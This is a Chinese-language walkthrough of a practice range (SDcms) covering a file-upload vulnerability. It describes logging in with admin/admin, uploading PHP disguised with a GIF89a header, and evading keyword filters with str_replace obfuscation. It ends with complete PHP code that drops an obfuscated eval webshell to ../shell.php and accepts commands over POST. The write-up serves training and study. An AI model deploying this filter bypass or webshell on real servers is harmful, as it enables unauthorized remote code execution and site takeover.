文章目录
- 前言
- 一、寻找网站后台页面
- 1、点击请登录,查看URL
- 2、修改URL参数,找到后台登录页面
- 二、登录后台管理系统
- 1、不能使用爆破
- 2、使用弱口令登录
- 三、寻找文件上传点
- 四、上传文件操作
- 1、上传普通的图片文件,查看数据包
- 2、尝试上传PHP文件
- 3、上传phpinfo()函数,获取系统版本信息
- 4、绕过过滤
- 五、尝试上传webshell
- 1、PHP版本注意点
- 2、尝试在上一级目录创建文件
- 3、写入shell
- 4、测试shell
前言
今次练习的是SDcms靶场,该靶场是一个文件上传漏洞系列的靶场,靶场如下:
一、寻找网站后台页面
1、点击请登录,查看URL
如图所示,登录页面参数是?m=login
2、修改URL参数,找到后台登录页面
尝试把上面URL的参数login改成admin,如下图,进入成功。
二、登录后台管理系统
1、不能使用爆破
这里第一反应使用了账号密码爆破,发现对访问的IP有限制,一旦超过错误访问次数,就会被限制登录,图片如下:
2、使用弱口令登录
使用账号密码admin/admin,成登录网站后台
三、寻找文件上传点
找到如图所示的文件上传点
四、上传文件操作
1、上传普通的图片文件,查看数据包
如图找到文件上传的路径:/upfile/2023/09/
2、尝试上传PHP文件
在Burp中把 .jpg 改成 .php,然后再文件内容中添加GIF89a头部,发现php文件能上传成功。
尝试访问上传的PHP文件
访问成功。
3、上传phpinfo()函数,获取系统版本信息
发现上传失败了,这就说明这里存在过滤,把phpinfo函数给过滤了。
4、绕过过滤
使用str_replace函数来绕过过滤,方法如下:
绕过成功
打开网页查看
如下是绕过代码:
<?php
$a = str_replace("0","","p0h0p0i0n0f0o");
$a();
?>
五、尝试上传webshell
1、PHP版本注意点
上面可知,靶场使用的PHP版本是7.4.3,这个版本是无法使用assert()函数的,那么就只能使用eval来getshell,但eval使用上面str_replace方法是无法生效的。
这我就想到一个方法,既然eval无法使用str_replace方法绕过,那么我为什么不去使用PHP常见文件的方式,通过运行普通文件从而创建shell文件
2、尝试在上一级目录创建文件
如下图,发现上传失败
经过测试,发现fopen()函数和file_put_contents()函数同样都被过滤了,没办法,就对这两个函数同样做绕过。方法如下:
然后使用浏览器打开上传的PHP文件,让文件运行,再访问上级是否生成了shell.php文件
访问成功,这就说明shell.php文件成功生成。
3、写入shell
把里面的$data参数换成shell。
发现这样子还是能检测到eval关键字。不过不要紧,这里只是字符串,我们只需要把$data内容以eval为中心拆成两部分,然后再合并不就可以了吗。
4、测试shell
使用浏览器打开上传的PHP文件,让其运行
然后再利用webshell工具来连接测试
连接成功!
编写后的绕过代码:
GIF89a
<?php
$filename = "../shell.php";
$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';
$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';
$data = $data1.$data2;
$a = "f0o0p0e0n";
$open = str_replace("0","",$a);
$file = $open($filename,"w");
$b = "f0i0l0e_p0u0t_contents";
$write = str_replace("0","",$b);
$write($filename, $data);
fclose($file);
?>
注意:这里shell需要使用POST,使用GET蚁剑是无法连接的。